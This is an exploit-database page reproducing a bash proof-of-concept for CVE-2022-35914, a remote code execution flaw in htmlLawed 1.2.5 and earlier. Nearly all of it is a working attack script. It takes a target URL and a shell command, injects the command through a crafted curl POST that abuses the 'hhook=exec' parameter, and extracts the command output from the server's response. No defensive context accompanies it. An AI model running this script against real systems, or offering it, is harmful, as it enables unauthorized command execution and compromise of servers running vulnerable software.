Htmllawed 1.2.5 remote code execution (rce) Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2024-05-19 | Type : webapps | Platform : php

---

[+] Code ...

# Exploit Title: htmlLawed 1.2.5 - Remote Code Execution (RCE)
# Date: 2024-04-24
# Exploit Author: Miguel Redondo (aka d4t4s3c)
# Vendor Homepage: https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed
# Software Link: https://github.com/kesar/HTMLawed
# Version: <= 1.2.5
# Tested on: Linux
# CVE: CVE-2022-35914

banner(){
echo " ______ _______ ____ ___ ____ ____ _________ ___ _ _ _"
echo " / ___\ \ / / ____| |___ \ / _ \___ \|___ \ |___ / ___|/ _ \/ | || |"
echo "| | \ \ / /| _| _____ __) | | | |__) | __) |____ |_ \___ \ (_) | | || |_"
echo "| |___ \ V / | |__|_____/ __/| |_| / __/ / __/_____|__) |__) \__, | |__ _|"
echo " \____| \_/ |_____| |_____|\___/_____|_____| |____/____/ /_/|_| |_|"
}

while getopts ":u:c:" arg; do
case $arg in
u) URL=$OPTARG; let parameter_counter+=1 ;;
c) CMD=$OPTARG; let parameter_counter+=1 ;;
esac
done


if [ -z "$URL" ] || [ -z "$CMD" ]; then
banner
echo -e "\n[i] Usage: ${0} -u <URL> -c <CMD>\n"
exit
else
banner
echo -e "\n[+] Command output:"
fi

curl -s -d "sid=foo&hhook=exec&text=${CMD}" -b "sid=foo" ${URL} | egrep '\&nbsp; \[[0-9]+\] =\>'| sed -E 's/\&nbsp; \[[0-9]+\] =\> (.*)<br \/>/\1/'